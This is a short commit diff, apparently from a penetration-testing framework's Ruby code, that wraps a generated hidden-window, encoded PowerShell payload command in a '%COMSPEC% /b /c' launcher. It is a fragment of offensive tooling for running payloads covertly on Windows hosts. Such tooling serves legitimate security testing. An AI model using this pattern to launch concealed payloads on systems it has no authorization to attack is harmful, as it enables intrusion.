Reinstate %COMSPEC%
parent
c194fdc67e
commit
1c60373f68
|
@ -245,11 +245,13 @@ EOS
|
|||
#final_payload = encode_script(hidden_payload)
|
||||
|
||||
# Convert to base64 for -encodedcommand execution
|
||||
command = generate_psh_command_line({
|
||||
psh_command = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => final_payload
|
||||
})
|
||||
|
||||
command = "%COMSPEC% /b /c #{psh_command}"
|
||||
vprint_status("Command length: #{command.length}")
|
||||
return command
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue